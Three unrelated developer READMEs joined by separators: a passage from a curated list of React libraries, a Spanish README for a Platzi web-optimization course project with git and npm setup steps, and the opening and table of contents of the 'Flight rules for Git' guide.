- [react-hook-mighty-mouse](https://github.com/mkosir/react-hook-mighty-mouse) - [demo](https://mkosir.github.io/react-hook-mighty-mouse) - Hook that tracks mouse events on selected element.
### Meta Tags
_Set meta tags, <title>, children of <head>_
- [react-helmet-async](https://github.com/staylor/react-helmet-async#readme) - Thread-safe Helmet for React 16+ and friends
- [react-helmet](https://github.com/nfl/react-helmet) - A document head manager for React.
### Portal
_Render an element at an arbitrary DOM node_
- [react-layer-stack](https://github.com/fckt/react-layer-stack) - Simple but ubiquitously powerful and agnostic layering system for React.
- [react-portal](https://github.com/tajo/react-portal) - React component for transportation of modals, lightboxes, loading bars... to document.body.
### Test User Behavior
_A/B tests, experiments, ..._
- [react-experiments](https://github.com/HubSpot/react-experiments) - React components for implementing UI experiments.
## Code Design
**[`Back to top ⬆️`](#table-of-contents)**
_Libraries that help with code design_
### Data Store
_Data flow / data management / data stores / components state / data flow_
- [baobab-react](https://github.com/Yomguithereal/baobab-react) - React integration for Baobab.
- [cerebral](https://github.com/cerebral/cerebral) - A state controller with its own debugger.
- [effector-react](https://github.com/effector/effector) - React bindings for effector, an effective multi-store state manager.
- [fluxible](https://github.com/yahoo/fluxible) - A pluggable container for universal flux applications.
- [kea](https://github.com/mariusandra/kea) - High level architecture for React apps.
- [react-3ducks](https://github.com/smakazmi/react-3ducks) - [demo](https://stackblitz.com/github/smakazmi/react-3ducks/tree/master/examples/todos) - Simple state management solution for React.
- [react-i13n](https://github.com/yahoo/react-i13n) - A performant, scalable and pluggable approach to instrumenting your React application.
- [react-redux](https://github.com/reactjs/react-redux) - Official React bindings for Redux.
- [redux-batched-actions](https://github.com/tshelburne/redux-batched-actions) - Reducer + action to reduce actions under a single subscriber notification.
- [redux](https://github.com/reactjs/redux) - Predictable state container for JavaScript apps.
- [reselect](https://github.com/reactjs/reselect) - Selector library for Redux.
- [resourcerer](https://github.com/SiftScience/resourcerer) - Declarative data-fetching framework for REST APIs
- [synergies](https://github.com/lukasbach/synergies) - [docs](https://synergies.js.org) A performant and distributed context-state library for creating reusable React state logic by synergyzing atomar context pieces.
- [zustand](https://zustand.surge.sh/) - [docs](https://github.com/pmndrs/zustand) - A fast bearbones state-management solution using simplified flux principles and boilerplate-free hook api.
- [teaful](https://github.com/teafuljs/teaful) - Tiny, easy and powerful React state management
### Form Logic
- [data-driven-forms](https://github.com/data-driven-forms/react-forms) - A declarative way for building forms with all the functionality.
- [formik](https://github.com/jaredpalmer/formik) - Build forms without tears and supports Validation in ease.
- [formsy-react](https://github.com/formsy/formsy-react/) - A form input builder and validator for React JS.
- [Phormal](https://github.com/phormal/phormal) - [Docs & Demos](https://phormal.dev/getting-started/react) - Responsive, multilingual forms with built-in validation, support for dark mode and right-to-left languages.
- [react-hook-form](https://github.com/react-hook-form/react-hook-form) - React hooks for form validation without the hassle.
- [react-jsonschema-form](https://github.com/mozilla-services/react-jsonschema-form) - A React component for building Web forms from JSONSchema.
- [react-client-validation](https://github.com/0529bill/react-client-validation) - Simple and super lightweight validation for React.
- [react-final-form](https://github.com/final-form/react-final-form) - Subscription-based form state management
- [react-formawesome](https://github.com/MAKARD/react-formawesome) - Complex library for creating awesome forms.
- [surveyjs](https://github.com/surveyjs/survey-library) - The advanced Survey and Form library
- [Formily](https://github.com/alibaba/formily) - High performance, extensible, and Typescript friendly
### Router
- [react-router-component](https://github.com/STRML/react-router-component) - Declarative router component for React.
- [react-router-scroll](https://github.com/taion/react-router-scroll) - React Router scroll management.
- [react-router](https://github.com/reactjs/react-router) - A complete routing library for React.
- [redux-first-history](https://github.com/salvoravida/redux-first-history) - Redux First History - Redux history binding support react-router - @reach/router - wouter
- [universal-router](https://github.com/kriasoft/universal-router) - A simple middleware-style router for isomorphic JavaScript web apps.
- [wouter](https://github.com/molefrog/wouter) - A minimalist-friendly ~1.3KB routing library. Nothing else but hooks.
### Props from server
_Component properties asynchronously fetched over the network_
- [react-refetch](https://github.com/heroku/react-refetch) - A simple, declarative, and composable way to fetch data for React components.
- [redux-connect](https://github.com/makeomatic/redux-connect) - Provides decorator for resolving async props in react-router.
- [axios-react](https://github.com/soroushchehresa/axios-react) - HTTP client component for React.
### Communication with server
- [apollo-client](https://github.com/apollostack/apollo-client) - A simple caching client for any GraphQL server and UI framework.
- [react-relay](https://github.com/facebook/relay) - Relay is a JavaScript framework for building data-driven React applications.
- [query](https://github.com/TanStack/query) - [docs](https://tanstack.com/query/v4) Powerful asynchronous state management, server-state utilities and data fetching for TS/JS, React, Solid, Svelte and Vue.
### CSS / Style
- [aesthetic](https://github.com/milesj/aesthetic) - A powerful type-safe, framework agnostic, CSS-in-JS library for styling components, whether it be plain objects, importing stylesheets, or simply referencing external class names.
- [aphrodite](https://github.com/Khan/aphrodite) - It's inline styles, but they work!.
- [inline-style-prefixer](https://github.com/rofrischmann/inline-style-prefixer) - Run-time Autoprefixer for Inline Style Objects.
- [react-container-query](https://github.com/d6u/react-container-query) - Modular responsive component.
- [react-responsive](https://github.com/contra/react-responsive) - Media queries in react for responsive design.
- [reactponsive](https://github.com/jmlweb/reactponsive) - Responsive components and hooks.
- [styled-components](https://github.com/styled-components/styled-components) - Visual primitives for the component age.
- [stitches](https://github.com/stitchesjs/stitches) - CSS-in-JS with near-zero runtime, SSR, multi-variant support.
### HTML Template
- [jsx-control-statements](https://github.com/AlexGilleran/jsx-control-statements) - Neater If and For for React JSX.
### Isomorphic Apps
- [hypernova](https://github.com/airbnb/hypernova) - A service for server-side rendering your JavaScript views.
- [isomorphic-style-loader](https://github.com/kriasoft/isomorphic-style-loader) - Isomorphic CSS style loader for Webpack.
- [react-server](https://github.com/redfin/react-server) - React framework with server render for blazing fast page load.
- [rill](https://github.com/rill-js/rill) - Universal web application framework.
- [webpack-isomorphic-tools](https://github.com/halt-hammerzeit/webpack-isomorphic-tools) - Server-side rendering for your Webpack-built applications (e.g. React).
### Boilerplate
_Scaffold / starter kit / Yeoman generator / stack ensemble / seed_
- [create-react-app](https://github.com/facebookincubator/create-react-app) - Create React apps with no build configuration.
- [crisp-react](https://github.com/winwiz1/crisp-react) - Express integration in TypeScript with support for multiple SPAs and pitfall avoidance.
- [cra-template-redux-auth-starter](https://github.com/Nilanth/cra-template-redux-auth-starter) - A Redux auth starter boilerplate for CRA.
- [electron-react-boilerplate](https://github.com/chentsulin/electron-react-boilerplate) - Live editing development on desktop app.
- [elegant](https://github.com/elegantframework/elegant-cli) - [docs](https://www.elegantframework.com/docs/installation) - [demo](https://www.elegantframework.com/) - A simple React framework for rapidly building beautiful and expressive web applications with Next.js, Tailwind CSS, and Markdown loading.
- [generator-starhackit](https://github.com/FredericHeem/starhackit) - Full-stack starter kit.
- [nwb](https://github.com/insin/nwb) - CLI tool and devDependency for React apps & components and npm modules.
- [nx](https://nx.dev) - Next generation build system with first class monorepo support and powerful integrations.
- [PBandJ](https://github.com/moishinetzer/pbandj) - Zero-Config Reusable Component Framework.
- [react-hot-boilerplate](https://github.com/gaearon/react-hot-boilerplate) - Minimal live-editing boilerplate for your next ReactJS project.
- [rockpack](https://github.com/AlexSergey/rockpack) - Simple solution for creating React application with SSR, bundling, linting, testing within 5 minutes.
- [create-react-dependency](https://github.com/andrelmlins/create-react-dependency) - Create react dependencies with no build configuration.
- [phoenix](https://github.com/Sazito/phoenix) - A simple boilerplate that helps you make your react application with Server Side Rendering & Localization support.
- [react-enterprise-starter-kit](https://github.com/anandgupta193/react-enterprise-starter-kit) - Highly Scalable and Performant Awesome React Starter Kit for an enterprise application with a very easy maintainable codebase.
### Miscellaneous
- [react-inlinesvg](https://github.com/matthewwithanm/react-inlinesvg) - An SVG loader component for ReactJS.
- [react-godfather](https://github.com/kapolos/react-godfather) - A new way to write Functional Components, without Hooks.
- [redux-auth-patch](https://github.com/lynndylanhurley/redux-auth) - Complete token authentication system for react + redux that supports isomorphic rendering.
- [redux-search](https://github.com/treasure-data/redux-search) - Redux bindings for client-side search.
- [tcomb-react](https://github.com/gcanti/tcomb-react) - Alternative syntax for PropTypes.
- [react-universal-hooks](https://github.com/salvoravida/react-universal-hooks) - :tada: support react hooks everywhere (Functional or Class Component).
## Utilities
**[`Back to top ⬆️`](#table-of-contents)**
- [qrcode.react](https://github.com/zpao/qrcode.react) - A <QRCode/> component for use with React.
- [`<qr-code>`](https://github.com/bitjson/qr-code) – A no-dependencies, customizable, animate-able, SVG-based `<qr-code>` element.
- [react-children-utilities](https://github.com/fernandopasik/react-children-utilities) - Extended utils for React.Children.
- [react-media](https://github.com/ReactTraining/react-media) - A CSS media query component for React.
- [react-middle-ellipsis](https://github.com/bluepeter/react-middle-ellipsis) - [demo](https://bluepeter.github.io/react-middle-ellipsis/) - Truncate long strings in the middle instead of the end.
- [react-translate-component](https://github.com/martinandert/react-translate-component) - Multi-lingual/localized text content.
### i18n
_Internationalization / L10n / localization / translation_
- [react-i18next](https://github.com/i18next/react-i18next) - Internationalization for react done right. Using the i18next i18n ecosystem.
- [react-intl](https://github.com/yahoo/react-intl) - Internationalize React apps.
- [react-localized](https://github.com/fakundo/react-localized) - Internationalization for React components based on `gettext` format.
- [react-translate-maker](https://github.com/CherryProjects/react-translate-maker) - Universal internationalization (i18n) open source library for React.
- [react-intl-universal](https://github.com/alibaba/react-intl-universal) - [demo](https://g.alicdn.com/alishu/common/0.0.95/intl-example/index.html) Internationalize React apps. Not only for React.Component but also for Vanilla JS.
- [@tolgee/react](https://github.com/tolgee/tolgee-js/tree/main/packages/react) - [docs](https://tolgee.io/docs/web/using_with_react/installation) – Web-based localization tool enabling users to translate directly in the React app they develop
- [js-lingui](https://github.com/lingui/js-lingui) - [docs](https://lingui.js.org) – A readable, automated, and optimized (5 kb) internationalization for JavaScript.
### Framework bindings / integrations
- [backbone-react-component](https://github.com/magalhas/backbone-react-component) - A bit of nifty glue that automatically plugs your Backbone models.
- [elm-react-component](https://github.com/KtorZ/elm-react-component) - A React component which wraps an Elm module to be used in a React application.
- [gl-react](https://github.com/ProjectSeptemberInc/gl-react) - OpenGL / WebGL bindings for React to implement complex effects over images and content.
- [react-backbone](https://github.com/jhudson8/react-backbone) - Backbone-aware mixins for react and a whole lot more.
- [react-d3-library](https://github.com/react-d3-library/react-d3-library) - Open source library for using D3 in React.
- [react-elm-components](https://github.com/evancz/react-elm-components) - Write React components in Elm.
- [react-famous](https://github.com/pilwon/react-famous) - React bridge to Famo.us.
- [react-localstorage](https://github.com/STRML/react-localstorage) - Simple componentized localstorage implementation for Facebook's React.
- [react-lottie-player](https://github.com/mifi/react-lottie-player) - [demo](https://mifi.github.io/react-lottie-player/) - Declarative lottie animation player.
- [react-on-rails](https://github.com/shakacode/react_on_rails) - Integration of React + Webpack + Rails to build Universal (Isomorphic) Apps.
- [react-three-renderer](https://github.com/toxicFork/react-three-renderer) - Render into a three.js canvas using React.
- [react-threejs](https://github.com/fritx/react-threejs) - Simplest bindings between React & Three.js
- [reactfire](https://github.com/firebase/reactfire) - ReactJS mixin for easy Firebase integration.
- [reactive-elements](https://github.com/PixelsCommander/ReactiveElements) - Allows to use React.js component as HTML element (web component).
- [react-unity-webgl](https://github.com/elraccoone/react-unity-webgl) - Unity intergration with two-way communication using a built-in Event System.
### Integrations with Third Party Services
- [react-ga](https://github.com/react-ga/react-ga) - React Google Analytics Module.
- [react-google-analytics](https://github.com/hzdg/react-google-analytics) - Google analytics component.
- [react-google-autocomplete](https://github.com/ErrorPro/react-google-autocomplete) - Google Places API components and hooks.
- [react-recaptcha](https://github.com/appleboy/react-recaptcha) - A react.js reCAPTCHA for Google.
- [react-stripe-checkout](https://github.com/azmenak/react-stripe-checkout) - Load stripe's checkout.js as a react component. Easiest way to use checkout with React.
- [redux-segment](https://github.com/rangle/redux-segment) - Segment.io analytics integration for redux.
- [react-slack-notification](https://github.com/Nilanth/react-slack-notification) - Send messages and error logs to a Slack channel directly.
- [react-firebase-hooks](https://github.com/csfrequency/react-firebase-hooks) - Hooks to integrate firebase in your application.
## Performance
**[`Back to top ⬆️`](#table-of-contents)**
### UI
- [inferno](https://github.com/trueadm/inferno) - An extremely fast, React-like JavaScript library for building modern user interfaces.
- [react-fastclick](https://github.com/JakeSidSmith/react-fastclick) - Fast Touch Events for React.
- [react-static-container](https://github.com/reactjs/react-static-container) - Renders static content efficiently.
#### Inspect
- [react-perf-tool](https://github.com/RamonGebben/react-perf-tool) - Debug performance of your React application.
- [react-render-visualizer](https://github.com/redsunsoft/react-render-visualizer) - Render visualizer for ReactJS.
#### Lazy Load
- [react-infinite-grid](https://github.com/ggordan/react-infinite-grid) - A React component which renders a grid of elements.
- [react-infinite](https://github.com/seatgeek/react-infinite) - A browser-ready efficient scrolling container based on UITableView.
- [react-lazy-load](https://github.com/loktar00/react-lazy-load) - React component that renders children elements when they enter the viewport.
- [react-lazyload](https://github.com/jasonslyvia/react-lazyload) - Lazyload your Component, Image or anything matters the performance.
- [react-virtualized](https://github.com/bvaughn/react-virtualized) - React components for efficiently rendering large lists and tabular data.
### App Size
- [babel-plugin-transform-react-remove-prop-types](https://github.com/oliviertassinari/babel-plugin-transform-react-remove-prop-types) - Remove unnecessary React propTypes.
- [react-lite](https://github.com/Lucifier129/react-lite) - An implementation of React that optimizes for small script size.
### Server-Side Rendering
- [iSSR](https://github.com/AlexSergey/issr) - The easiest way to move your React application to Server-Side Rendering. Handles Side Effects and synchronizes State.
- [react-esi](https://github.com/dunglas/react-esi) - A library to boost SSR performance by exposing React components as Edge Side Includes (ESI) fragments
## Dev Tools
**[`Back to top ⬆️`](#table-of-contents)**
### Test
- [chai-enzyme](https://github.com/producthunt/chai-enzyme) - Chai.js assertions and convenience functions for testing React Components with enzyme.
- [enzyme](https://github.com/airbnb/enzyme) - JavaScript Testing utilities for React.
- [jest-cli](https://github.com/facebook/jest) - Painless JavaScript Testing.
- [react-unit](https://github.com/pzavolinsky/react-unit) - Lightweight unit test library for ReactJS.
- [redux-test-recorder](https://github.com/conorhastings/redux-test-recorder) - A redux middleware to automatically generate tests for reducers through ui interaction.
- [rut](https://github.com/milesj/rut) - React testing made easy with `react-test-renderer`. Supports DOM and custom renderers.
- [unexpected-react](https://github.com/bruderstein/unexpected-react) - Plugin for unexpected to enable testing the full React virtual DOM, and also the shallow renderer.
- [playwright](https://github.com/microsoft/playwright) enables reliable end-to-end testing for modern web apps.
### Redux
- [redux-devtools-chart-monitor](https://github.com/romseguy/redux-devtools-chart-monitor) - A chart monitor for Redux DevTools.
- [redux-devtools-dock-monitor](https://github.com/gaearon/redux-devtools-dock-monitor) - A resizable and movable dock for Redux DevTools monitors.
- [redux-devtools-filterable-log-monitor](https://github.com/bvaughn/redux-devtools-filterable-log-monitor) - Filterable tree view monitor for Redux DevTools.
- [redux-devtools-inspector](https://github.com/alexkuz/redux-devtools-inspector) - Another Redux DevTools Monitor.
- [redux-devtools-log-monitor](https://github.com/gaearon/redux-devtools-log-monitor) - The default monitor for Redux DevTools with a tree view.
- [redux-devtools](https://github.com/gaearon/redux-devtools) - DevTools for Redux with hot reloading, action replay, and customizable UI.
- [remote-redux-devtools](https://github.com/zalmoxisus/remote-redux-devtools) - Redux DevTools remotely.
### Inspect
- [fluxguard](https://fluxguard.com) - PROD change monitoring that highlights all DOM + design changes.
- [react-inspector](https://github.com/xyc/react-inspector) - Power of Browser DevTools inspectors right inside your React app.
- [react-json-inspector](https://github.com/Lapple/react-json-inspector) - React JSON inspector component.
- [reactotron](https://github.com/reactotron/reactotron) - A CLI and OS X app for inspecting your React JS and React Native apps.
### Miscellaneous
- [component-controls](https://github.com/ccontrols/component-controls) - [demo](https://component-controls.com) - [docs](https://component-controls.com/tutorial) - A next-generation tool to create blazing-fast documentation sites.
- [cosmos-js](https://github.com/skidding/cosmos) - DX tool for designing truly encapsulated React components.
- [react-demo-tab-cli](https://github.com/mkosir/react-demo-tab-cli) - CLI tool for creating demos of react components.
- [react-styleguidist](https://github.com/sapegin/react-styleguidist) - React style guide generator.
- [standard-react](https://github.com/feross/standard) - JavaScript Standard Style Guide.
- [Plasmic](https://www.plasmic.app/) - Powerful design tool for building your React components visually.
- [SimpleLocalize](https://github.com/simplelocalize/simplelocalize-cli) - Open source CLI tool for finding i18n keys in React projects.
- [react-device-frameset](https://github.com/zheeeng/react-device-frameset) - React device frameset component.
## Miscellaneous
**[`Back to top ⬆️`](#table-of-contents)**
- [DataFormsJS JSX Loader](https://github.com/dataformsjs/dataformsjs/blob/master/docs/jsx-loader.md) - Small JavaScript Compiler for quickly converting JSX to JS directly on a web page.
- [html-to-react-components](https://github.com/roman01la/html-to-react-components) - Extract annotated portions of HTML into React components as separate modules.
- [htmltojsx](https://github.com/reactjs/react-magic) - Automatically AJAXify plain HTML with the power of React. It's magic!.
- [jsonx](https://github.com/repetere/jsonx) - React JSON Syntax.
- [mozaik](https://github.com/plouc/mozaik) - Mozaïk is a tool based on nodejs / react / d3 / stylus to easily craft beautiful dashboards.
- [react-blessed](https://github.com/Yomguithereal/react-blessed) - A react renderer for blessed.
- [jsondiffpatch-react](https://github.com/bluepeter/jsondiffpatch-react) - JSON diffing.
### Static Website Generator
- [gatsby](https://github.com/gatsbyjs/gatsby) - Transform plain text into dynamic blogs and websites using React.js.
## Cloud Solutions
**[`Back to top ⬆️`](#table-of-contents)**
### Databases
- [crisp-bigquery](https://github.com/winwiz1/crisp-bigquery) - Full stack Google BigQuery with Express in TypeScript.
- [react-server-routing-example](https://github.com/mhart/react-server-routing-example) - Universal client/server routing and data with AWS DynamoDB.
|
<p align="center">
<a href="https://platzi.com/cursos/web-performance" target="_blank">
<img alt="Curso Optimizacion Web en Platzi" src="https://static.platzi.com/media/achievements/badge-optimizacion-web-183eef1c-d7e3-4f43-b680-f12f428c6484.png" width="60" />
</a>
</p>
<h1 align="center">
Proyecto del Curso: Optimización Web
</h1>
<p align="center">
<a href="https://platzi-optimizacion-web.netlify.app" target="_blank">
<img alt="Netlify Status" src="https://api.netlify.com/api/v1/badges/35ae5664-8756-4e3a-bb0c-d341283c5dca/deploy-status" width="130" />
</a>
</p>
[Curso de optimización web](https://platzi.com/cursos/web-performance) dictado por [@jonalvarezz](https://twitter.com/jonalvarezz) para [Platzi](https://platzi.com)
* [Cómo trabajar en este proyecto?](#-cómo-trabajar-en-este-proyecto)
* [Guía rápida](#-gu%C3%ADa-rápida)
* [Optimizaciones aplicadas](#-optimizaciones-aplicadas)
* [Encontraste un error o mejora?](#-encontraste-un-error-o-mejora)
### 🔎 Cómo trabajar en este proyecto?
El curso es totalmente práctico y progresivo este repositorio sólo existe como una guía para cuando lo necesites. Puedes realizar todo el curso en tu propio proyecto y tu propio repositorio.
Avanzamos en el curso a un nuevo tema y no puedes o no quieres completar los cambios anteriores para continuar?
Empieza desde la etiqueta git correspondiente al módulo del curso.
1. Actualiza la información de las etiquetas:
> Anteriormente debiste clonar este repositorio tal como lo hicimos en clase.
```sh
git fetch --tags
```
1. Lista las etiquetas disponibles:
```sh
git tag
```
Deberías ver algo como:
```sh
0-inicio
1-css
2-webfonts
3-imagenes
4-javascript
...
```
1. Inicia un nuevo branch desde el punto que desees:
```sh
git checkout -b el-nombre-de-mi-branch etiqueta-elegida
# Por ejemplo, para iniciar desde el módulo 4-javascript
git checkout -b jonalvarezz-javascript 4-javascript
```
Eso es todo, ya puedes iniciar con todos los cambios incluídos hasta ese módulo. En la [sección Tags de GitHub](https://github.com/jonalvarezz/platzi-optimizacion-web/tags), encuentras más información de cada etiqueta.
#### Bonus: Cómo subo mis cambios a otro repositorio?
Git permite manejar varios repositorios remotos en una misma copia local. [Aquí encuentras más información](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes) y te dejaré el cheatsheet a continuación:
```sh
# Crea tu nuevo repositorio en GitHub/GitLab/otro.
# Asumamos la URL es git@github.com:jonalvarezz/mi-repo-mas-bello.git
# Agrega el nuevo remote
git remote add mi-repo git@github.com:jonalvarezz/mi-repo-mas-bello.git
# Para push
git push mi-repo branch-a-hacer-push
# Para pull
git pull mi-repo branch-a-hacer-push
```
### 🤖 Guía Rápida
1. **Empieza a desarrollar.**
Instala dependencias
```sh
npm install
```
Inicia el proyecto
```sh
npm run dev
```
El sitio estará disponible en http://localhost:3000.
Happy hacking!
1. **Para producción.**
Construye el proyecto
```sh
npm run build
```
El sitio podrá ser accedido como un sitio estático.
Un servidor de archivos estático está incluido y se puede iniciar con
```sh
npm start
```
El sitio estará disponible en http://localhost:5000.
### 🚀 Optimizaciones aplicadas
1. Elimina bloqueo en etiquetas `script`.
1. Convierte los estilos en Mobile First.
1. Carga los estilos para Desktop con baja prioridad en Móvil.
1. Agiliza HTTP handshake con otros dominios de recursos.
1. Reduce Paints en la animacion hover de los items del carousel.
1. Reduce complejidad de selectores CSS.
1. Desbloquea la carga del logo.
1. Evita texto invisible durante la carga (FOIT).
1. Reduce el tamaño del logo en 90%.
1. Minimiza requests HTTP con SVG.
1. Aplica Lazy load para las imágenes.
1. Evita _Layout Shifts_.
1. Compila el código para producción.
1. Utiliza un servidor para producción.
1. Agrega analizador del bundle: `npm run dev|build -- --analyze`
1. Uso conciente de Tree Shaking.
1. Mejora TTI por 5 seg.
1. Reduce el tamaño del Bundle un 70% gzipped.
1. Divide el bundle en dos archivos (code splitting)
1. Aplica lazy load para la librería del modal.
1. Renderiza el contenido principal desde nuestro propio servidor node (SSR).
1. Pre-renderiza el contenido principal de forma estática (SSG).
1. Deploy en Netlify.
1. Genera el contenido estático cada semana con GitHub Actions.
1. Guarda assets en el cache del navegador con Service Workers.
1. Automatiza Performance Audits con Lighthouse y GitHub Actions.
### 🐞 Encontraste un error o mejora?
Ayuda a otros estudiantes con eso que acabas de descubrir que haría este curso y respositorio mucho mejor.
* En [Issues](https://github.com/jonalvarezz/platzi-optimizacion-web/issues/new) puedes reportar errores, agregar sugerencias y comentarios.
* Por su parte, los [Pull Request](https://github.com/jonalvarezz/platzi-optimizacion-web/pulls) siempre estarán abiertos para recibir mejoras puntuales.
Happy hacking!
|
# Flight rules for Git
🌍
*[English](README.md) ∙ [Español](README_es.md) ∙ [Русский](README_ru.md) ∙ [繁體中文](README_zh-TW.md) ∙ [简体中文](README_zh-CN.md) ∙ [한국어](README_kr.md) ∙ [Tiếng Việt](README_vi.md) ∙ [Français](README_fr.md) ∙ [日本語](README_ja.md)*
#### What are "flight rules"?
A guide for astronauts (now, programmers using Git) about what to do when things go wrong.
> *Flight Rules* are the hard-earned body of knowledge recorded in manuals that list, step-by-step, what to do if X occurs, and why. Essentially, they are extremely detailed, scenario-specific standard operating procedures. [...]
> NASA has been capturing our missteps, disasters and solutions since the early 1960s, when Mercury-era ground teams first started gathering "lessons learned" into a compendium that now lists thousands of problematic situations, from engine failure to busted hatch handles to computer glitches, and their solutions.
— Chris Hadfield, *An Astronaut's Guide to Life on Earth*.
#### Conventions for this document
For clarity's sake all examples in this document use a customized bash prompt in order to indicate the current branch and whether or not there are staged changes. The branch is enclosed in parentheses, and a `*` next to the branch name indicates staged changes.
All commands should work for at least git version 2.13.0. See the [git website](https://www.git-scm.com/) to update your local git version.
[](https://gitter.im/k88hudson/git-flight-rules?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
**Table of Contents** *generated with [DocToc](https://github.com/thlorenz/doctoc)*
- [Repositories](#repositories)
- [I want to start a local repository](#i-want-to-start-a-local-repository)
- [I want to clone a remote repository](#i-want-to-clone-a-remote-repository)
- [I set the wrong remote repository](#i-set-the-wrong-remote-repository)
- [I want to add code to someone else's repository](#i-want-to-add-code-to-someone-elses-repository)
- [Suggesting code via pull requests](#suggesting-code-via-pull-requests)
- [Suggesting code via patches](#suggesting-code-via-patches)
- [I need to update my fork with latest updates from the original repository](#i-need-to-update-my-fork-with-latest-updates-from-the-original-repository)
- [Editing Commits](#editing-commits)
- [What did I just commit?](#what-did-i-just-commit)
- [I wrote the wrong thing in a commit message](#i-wrote-the-wrong-thing-in-a-commit-message)
- [I committed with the wrong name and email configured](#i-committed-with-the-wrong-name-and-email-configured)
- [I want to remove a file from the previous commit](#i-want-to-remove-a-file-from-the-previous-commit)
- [I want to move a change from one commit to another](#i-want-to-move-a-change-from-one-commit-to-another)
- [I want to delete or remove my last commit](#i-want-to-delete-or-remove-my-last-commit)
- [Delete/remove arbitrary commit](#deleteremove-arbitrary-commit)
- [I tried to push my amended commit to a remote, but I got an error message](#i-tried-to-push-my-amended-commit-to-a-remote-but-i-got-an-error-message)
- [I accidentally did a hard reset, and I want my changes back](#i-accidentally-did-a-hard-reset-and-i-want-my-changes-back)
- [I accidentally committed and pushed a merge](#i-accidentally-committed-and-pushed-a-merge)
- [I accidentally committed and pushed files containing sensitive data](#i-accidentally-committed-and-pushed-files-containing-sensitive-data)
- [I want to remove a large file from ever existing in repo history](#i-want-to-remove-a-large-file-from-ever-existing-in-repo-history)
- [Recommended Technique: Use third-party bfg](#recommended-technique-use-third-party-bfg)
- [Built-in Technique: Use git-filter-branch](#built-in-technique-use-git-filter-branch)
- [Final Step: Pushing your changed repo history](#final-step-pushing-your-changed-repo-history)
- [I need to change the content of a commit which is not my last](#i-need-to-change-the-content-of-a-commit-which-is-not-my-last)
- [Staging](#staging)
- [I want to stage all tracked files and leave untracked files](#i-want-to-stage-all-tracked-files-and-leave-untracked-files)
- [To stage part of tracked files](#to-stage-part-of-tracked-files)
- [I need to add staged changes to the previous commit](#i-need-to-add-staged-changes-to-the-previous-commit)
- [I want to stage part of a new file, but not the whole file](#i-want-to-stage-part-of-a-new-file-but-not-the-whole-file)
- [I want to add changes in one file to two different commits](#i-want-to-add-changes-in-one-file-to-two-different-commits)
- [I staged too many edits, and I want to break them out into a separate commit](#i-staged-too-many-edits-and-i-want-to-break-them-out-into-a-separate-commit)
- [I want to stage my unstaged edits, and unstage my staged edits](#i-want-to-stage-my-unstaged-edits-and-unstage-my-staged-edits)
- [Unstaged Edits](#unstaged-edits)
- [I want to move my unstaged edits to a new branch](#i-want-to-move-my-unstaged-edits-to-a-new-branch)
- [I want to move my unstaged edits to a different, existing branch](#i-want-to-move-my-unstaged-edits-to-a-different-existing-branch)
- [I want to discard my local uncommitted changes (staged and unstaged)](#i-want-to-discard-my-local-uncommitted-changes-staged-and-unstaged)
- [I want to discard specific unstaged changes](#i-want-to-discard-specific-unstaged-changes)
- [I want to discard specific unstaged files](#i-want-to-discard-specific-unstaged-files)
- [I want to discard only my unstaged local changes](#i-want-to-discard-only-my-unstaged-local-changes)
- [I want to discard all of my untracked files](#i-want-to-discard-all-of-my-untracked-files)
- [I want to unstage a specific staged file](#i-want-to-unstage-a-specific-staged-file)
- [Branches](#branches)
- [I want to list all branches](#i-want-to-list-all-branches)
- [Create a branch from a commit](#create-a-branch-from-a-commit)
- [I pulled from/into the wrong branch](#i-pulled-frominto-the-wrong-branch)
- [I want to discard local commits so my branch is the same as one on the server](#i-want-to-discard-local-commits-so-my-branch-is-the-same-as-one-on-the-server)
- [I committed to main instead of a new branch](#i-committed-to-main-instead-of-a-new-branch)
- [I want to keep the whole file from another ref-ish](#i-want-to-keep-the-whole-file-from-another-ref-ish)
- [I made several commits on a single branch that should be on different branches](#i-made-several-commits-on-a-single-branch-that-should-be-on-different-branches)
- [I want to delete local branches that were deleted upstream](#i-want-to-delete-local-branches-that-were-deleted-upstream)
- [I accidentally deleted my branch](#i-accidentally-deleted-my-branch)
- [I want to delete a branch](#i-want-to-delete-a-branch)
- [I want to delete multiple branches](#i-want-to-delete-multiple-branches)
- [I want to rename a branch](#i-want-to-rename-a-branch)
- [I want to checkout to a remote branch that someone else is working on](#i-want-to-checkout-to-a-remote-branch-that-someone-else-is-working-on)
- [I want to create a new remote branch from current local one](#i-want-to-create-a-new-remote-branch-from-current-local-one)
- [I want to set a remote branch as the upstream for a local branch](#i-want-to-set-a-remote-branch-as-the-upstream-for-a-local-branch)
- [I want to set my HEAD to track the default remote branch](#i-want-to-set-my-head-to-track-the-default-remote-branch)
- [I made changes on the wrong branch](#i-made-changes-on-the-wrong-branch)
- [I want to split a branch into two](#i-want-to-split-a-branch-into-two)
- [Rebasing and Merging](#rebasing-and-merging)
- [I want to undo rebase/merge](#i-want-to-undo-rebasemerge)
- [I rebased, but I don't want to force push](#i-rebased-but-i-dont-want-to-force-push)
- [I need to combine commits](#i-need-to-combine-commits)
- [Safe merging strategy](#safe-merging-strategy)
- [I need to merge a branch into a single commit](#i-need-to-merge-a-branch-into-a-single-commit)
- [I want to combine only unpushed commits](#i-want-to-combine-only-unpushed-commits)
- [I need to abort the merge](#i-need-to-abort-the-merge)
- [I need to update the parent commit of my branch](#i-need-to-update-the-parent-commit-of-my-branch)
- [Check if all commits on a branch are merged](#check-if-all-commits-on-a-branch-are-merged)
- [Possible issues with interactive rebases](#possible-issues-with-interactive-rebases)
- [The rebase editing screen says 'noop'](#the-rebase-editing-screen-says-noop)
- [There were conflicts](#there-were-conflicts)
- [Stash](#stash)
- [Stash all edits](#stash-all-edits)
- [Stash specific files](#stash-specific-files)
- [Stash with message](#stash-with-message)
- [Apply a specific stash from list](#apply-a-specific-stash-from-list)
- [Stash while keeping unstaged edits](#stash-while-keeping-unstaged-edits)
- [Finding](#finding)
- [I want to find a string in any commit](#i-want-to-find-a-string-in-any-commit)
- [I want to find by author/committer](#i-want-to-find-by-authorcommitter)
- [I want to list commits containing specific files](#i-want-to-list-commits-containing-specific-files)
- [I want to view the commit history for a specific function](#i-want-to-view-the-commit-history-for-a-specific-function)
- [Find a tag where a commit is referenced](#find-a-tag-where-a-commit-is-referenced)
- [Submodules](#submodules)
- [Clone all submodules](#clone-all-submodules)
